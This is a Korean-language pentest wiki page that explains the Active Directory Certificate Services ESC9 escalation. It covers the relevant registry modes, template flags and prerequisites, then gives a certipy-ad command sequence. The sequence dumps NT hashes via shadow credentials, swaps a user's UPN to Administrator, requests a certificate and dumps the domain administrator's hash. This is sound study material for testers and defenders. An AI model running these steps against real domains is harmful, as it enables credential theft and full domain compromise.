ESC9

ESC9와 ESC10을 이해하기 위해선 다음과 같은 내용을 알아둬야 합니다.

속성
내용

szOID_NTDS_CA_SECURITY_EXT

요청자의 objectSid를 포함하며 AD에서 고유한 식별자

StrongCertificateBindingEnforcement

Kerberos 암시적 매핑에 사용되는 레지스트리 키

CertificateMappingMethods

Schannel 암시적 매핑에 사용되는 레지스트리 키

Kerberos 인증 시, 인증서 매핑 프로세스는 StrongCertificateBindingEnforcement 레지스트리 키를 참조하며, 이 키는 세가지 값으로 설정될 수 있습니다.

모드
내용

0

비활성화 모드

강력한 인증서 매핑이 수행되지 않습니다. szOID_NTDS_CA_SECURITY_EXT 확장은 확인되지 않습니다.

1

호환 모드(기본값)

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면, 사용자 계정이 인증서보다 먼저 생성된 경우 인증이 허용될 수 있습니다.

2

완전 시행 모드

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면 인증이 거부됩니다.

ESC9은 사용자의 UPN을 조작할 수 있는 GenericWrite 이상의 권한이 있을 때 인증서를 요청하는 사용자의 UPN을 다른 사용자의 UPN으로 변경함에 따라 가장한 사용자의 인증서를 발급받을 수 있는 권한 상승 취약점입니다. ESC9에 필요한 몇가지 조건은 다음과 같습니다.

  • StrongCertificateBindingEnforcement 레지스트리 키 값이 2 이외의 값 ( 기본 값 1 ) 혹은 CertificateMappingMethods 에 UPN 포함

  • msPKI-Enrollment-Flag의 값이 CT_FLAG_NO_SECURITY_EXTENSION

  • 템플릿 용도에 Client Authentication 값이 명시적으로 존재

  • 악용하려는 유저에 대한 GenericWrite

CT_FLAG_NO_SECURITY_EXTENSION의 경우 보안 확장 기능이 무력화되는데, 레지스트리 키 값이 2 미만일 경우 보안 확장이 존재하지 않을 때 사용자 계정이 인증서보다 먼저 생성된 경우 인증이 허용되는 허점을 이용합니다.

Practice

공격이 성립하기 위해서는 최소 하나의 계정에 GenericWrite 권한이 필요합니다. Alice 계정이 Bob 계정에 대한 GenericWrite/All 권한이 있으며 Bob 계정의 UPN을 Administrator로 변경하여 도메인 관리자 권한을 획득하고자 할 때 다음과 같이 명령하여 NT Hash 덤핑이 가능합니다.

# User 계정의 권한으로 User 2 계정의 NT Hash를 덤핑
certipy-ad shadow auto -u <USER> -p <PASS> -account <USER 2> -dc-ip <dc-ip>

# User 계정의 권한으로 User 2 계정의 UPN을 도메인 관리자로 변경 ( 반드시 소문자 )
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn [email protected] -dc-ip <dc-ip>

# Administrator의 자격을 갖게된 User 2의 TGT 요청
certipy-ad req -u <USER 2> -hashes <USER 2 Hash> -ca <CA> -template <Template> -dc-ip <dc-ip>

# User2의 UPN을 복구
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <USER 2> -dc-ip <dc-ip>

# User 2의 인증서를 통한 Administrator NT Hash 덤핑
certipy-ad auth -pfx <PFX> -domain <Domain> 

References

Last updated

Was this helpful?